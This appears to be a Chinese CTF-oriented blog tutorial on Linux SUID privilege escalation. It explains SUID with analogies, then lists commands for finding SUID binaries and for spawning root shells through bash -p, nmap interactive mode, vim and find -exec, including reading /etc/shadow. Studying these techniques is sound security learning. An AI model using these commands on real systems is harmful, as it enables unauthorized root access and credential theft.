Shell 目录

反弹shell

SUID提权

一些疑问

什么是SUID:

SUID=Set User ID,特殊权限,标志为s(如 -rwsr-xr-x),当用户执行该程序时,程序会以文件所有者的权限运行(比如以root身份运行)

但是为什么不用sudo密码就能直接运行root呢:

无需sudo密码的关键原因——管理员错误配置了sudo权限,配置了NOPASSWD

为什么需要SUID? 

比如说最需要SUID权限的/user/bin/passwd文件

假设一家公司有一个“自助改密码机”,每个员工都可以用它修改自己的门禁密码。但这个机器需要访问一个“密码保险柜”(类似/etc/shadow文件),而保险柜只有老板(root)有钥匙。
为了让员工能自己改密码,老板做了一件事:给改密码机(passwd程序)配了一把万能钥匙(SUID权限)。这样,员工操作机器时,机器能临时用老板的权限打开保险柜,修改自己的密码。
这就是/usr/bin/passwd需要SUID权限的根本原因——让普通用户安全地修改自己的密码

如果没有SUID权限,那么用户每一次修改密码都必须去问管理员

Linux用户的密码存储在/etc/shadow(权限为640,仅root可写)中,例如:

root:$6$T7M8L...:19420:0:99999:7:::  # root用户的密码哈希
alice:$6$Z1X2C...:19420:0:99999:7::: # alice用户的密码哈希

 其他的SUID权限的程序:

程序 SUID必要性 风险等级 示例场景
/usr/bin/passwd 必须(否则用户无法改密码) 用户自助改密码
/usr/bin/sudo 必须(否则无法临时提权) 管理员执行特权命令
/usr/bin/vim 危险!不应设置SUID 攻击者用root权限读/写任意文件
/bin/ping 需要(普通用户无权发送ICMP协议包) 网络诊断

什么叫环境变量?

想象你走进一个办公室,桌子上贴着一张 公告栏,上面写着各种信息:

  • 温度设置:空调温度设为25°C

  • WiFi密码:12345678

  • 今日任务:完成项目报告

这些信息对所有进入办公室的人(程序)都是可见的,大家可以直接查看公告栏(环境变量)上的内容。
环境变量 就是操作系统中的“公告栏”,用来存储全局配置信息,程序启动时可以读取这些值。 

环境变量的特点

  1. 全局可见:所有程序都能读取环境变量。

  2. 进程隔离:修改环境变量只会影响当前进程及其子进程,不会影响其他已运行的进程。

  3. 敏感信息风险:如果程序泄露环境变量(如通过 /proc/self/environ),攻击者可能直接获取 Flag。

原理:【滥用高权限程序的身份】 

第一步:寻找带有SUID的程序

在终端输入:

find / -perm -u=s -type f 2>/dev/null

 比如说结果为:

/usr/bin/passwd   # 正常,需要SUID
/usr/bin/nmap     # 可疑!nmap本不应有SUID
/usr/bin/vim      # 危险!vim若有SUID可读任意文件

 第二步:检测可疑程序

假设发现了 /user/bin/bash 具有SUID权限

ls -l /usr/bin/bash

输出为 

-rwsr-xr-x 1 root root 1.2M Apr 1 12:34 /usr/bin/bash
  • -rws:SUID位已设置,bash运行时拥有root权限。

  • 攻击者可利用它启动一个root权限的shell

第三步:启动root权限的shell

直接运行bash

/usr/bin/bash -p  # -p参数保留高权限
whoami  # 输出:root

拿到root权限 

可以利用它读取root文件[GHCTF 2025]GetShell -CSDN博客

其他常见SUID提权场景:

场景1:利用nmap的交互模式

nmap --interactive
nmap> !sh  # 启动shell(继承root权限)
场景2:利用vim的任意文件读取

若vim有SUID:

vim /etc/shadow  # 直接查看密码文件
:!bash           # 启动shell(root权限)
场景3:利用find执行命令

若find有SUID:

find / -exec /bin/bash -p \;  # 执行bash并保留权限

你可能感兴趣的:(#,反弹shell,linux,运维,服务器)